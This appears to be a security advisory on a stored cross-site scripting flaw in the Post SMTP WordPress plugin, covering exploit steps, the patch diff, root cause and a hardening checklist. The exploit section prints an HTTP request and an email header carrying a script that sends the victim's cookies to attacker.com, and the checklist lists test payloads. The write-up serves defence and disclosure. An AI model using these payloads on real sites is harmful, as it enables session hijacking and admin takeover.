The Exploit
An unauthenticated attacker can inject arbitrary JavaScript into the Post SMTP email log by crafting a malicious email with a crafted from or subject header. When any WordPress user accesses the email log page, the stored payload executes in their browser.
Step 1: Inject the payload via email
POST / HTTP/1.1
Host: target.wordpress.local
Content-Type: application/x-www-form-urlencoded
[email protected]&[email protected]"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>&subject=Test&message=Test message
Or, if the plugin accepts direct log entry injection (depending on email gateway integration), the attacker sends an email where the SMTP headers contain:
From: [email protected]"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Subject: "><img src=x
The email gateway (SendGrid, Mailgun, etc.) logs this header verbatim into the postman_logs table, storing the payload in the from_header or original_subject columns.
Step 2: Trigger execution
Any logged-in WordPress user (admin, editor, contributor) visits wp-admin/admin.php?page=postman_email_log. The plugin renders the email log table without escaping the from_header or original_subject fields. The injected script executes with the privileges of the logged-in user.
Observed behaviour: The attacker's JavaScript runs in the context of the WordPress admin dashboard. Cookies (including WordPress session tokens) are exfiltrated to the attacker's server. If the victim is an admin, the attacker gains admin-level access via session hijacking.
What the Patch Did
Before
$data['original_subject'] = !empty( $log->originalSubject ) ? $log->originalSubject : '';
$data['original_message'] = $log->originalMessage;
After
$data['original_subject'] = !empty( $log->originalSubject ) ? sanitize_text_field( $log->originalSubject ) : '';
$data['original_message'] = !empty( $log->originalMessage ) ? sanitize_textarea_field( $log->originalMessage ) : '';
The patch applies two WordPress input sanitization functions: sanitize_text_field() removes HTML tags and script content from single-line text fields, and sanitize_textarea_field() does the same for multi-line content. These functions strip dangerous characters at the point where the log data is prepared for display, preventing the HTML/JavaScript from being interpreted by the browser.
In parallel, the patch hardens email header fields:
Before
$data['to_header'] = !empty( $log->toRecipients ) ? $log->toRecipients : '';
$data['cc_header'] = !empty( $log->ccRecipients ) ? $log->ccRecipients : '';
$data['reply_to_header'] = !empty( $log->replyTo ) ? $log->replyTo : '';
After
$data['to_header'] = !empty( $log->toRecipients ) ? implode( ',', array_map( 'sanitize_email', explode( ',', $log->toRecipients ) ) ) : '';
$data['cc_header'] = !empty( $log->ccRecipients ) ? implode( ',', array_map( 'sanitize_email', explode( ',', $log->ccRecipients ) ) ) : '';
$data['reply_to_header'] = !empty( $log->replyTo ) ? implode( ',', array_map( 'sanitize_email', explode( ',', $log->replyTo ) ) ) : '';
The patch applies sanitize_email() to each comma-separated email address, stripping any non-email characters that could be used to break out of an HTML attribute context.
Root Cause
CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)
The dataflow is simple and direct: attacker-controlled email headers and subject lines enter the plugin's logging system (via SMTP gateways or direct plugin methods) and are stored unfiltered in the WordPress options or postman log tables. When the admin accesses the email log page, the plugin retrieves these values and assigns them to a template data array without sanitization. The template then outputs them via PHP's string interpolation or direct echo, crossing the trust boundary from trusted code to untrusted user-facing HTML. The attacker's payload—injected in the from_header, cc_header, reply_to_header, or original_subject fields—is rendered as-is, causing the browser to parse and execute the embedded JavaScript.
Why It Works
The load-bearing line is sanitize_text_field( $log->originalSubject ). Without this call, the subject string is passed through unchanged. If you removed it, the XSS would remain fully exploitable—a subject line like "Test"><script>alert(1)</script> would render as raw HTML and execute.
The engineer also wrapped email addresses in array_map( 'sanitize_email', explode( ',', ... ) ) for defence-in-depth. sanitize_email() alone strips characters invalid in email addresses (angle brackets, quotes, semicolons), making it harder for an attacker to inject HTML or JavaScript even if the subject field were later removed or forgotten. The explode() and implode() pattern handles comma-separated recipient lists correctly, applying the filter to each address individually. Without this pattern, a naive call to sanitize_email() on the entire string would fail (since commas are invalid in a single email address), and the field would be blanked. By splitting, filtering, and rejoining, the patch preserves the data structure while hardening each component.
Hardening Checklist
-
Audit all data assignment to template context variables. Search your codebase for patterns like
$data[ ... ] = $unsanitized_inputand confirm every variable used in output contexts has passed through a WordPress sanitization function (sanitize_text_field(),sanitize_email(),sanitize_textarea_field(), orwp_kses_post()for HTML-safe content). Use grep or a static analysis tool. -
Use output escaping in templates, not just input sanitization. Even if you sanitize at assignment, apply
esc_attr(),esc_html(), orwp_kses_post()again at the point of output in your template or PHP view. This provides a second barrier and defends against logic errors. -
Create a code review checklist for email and external-data handling. Any value originating from SMTP headers, HTTP request bodies, or external APIs should be flagged in review and marked with a comment confirming its sanitization/escaping status. Link to the CWE or CVE.
-
Use WordPress's built-in escaping helpers consistently. Do not roll custom HTML encoding or regex-based filters.
sanitize_text_field(),sanitize_email(), andwp_kses_*()are battle-tested across thousands of sites. Prefer them over custom logic. -
Test with a simple XSS payload in each input field during QA. Use payloads like
"><script>alert(1)</script>and"> in subject, from, and recipient fields, then visit the admin log page in an incognito window. If any payload executes, the bug is live.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-0521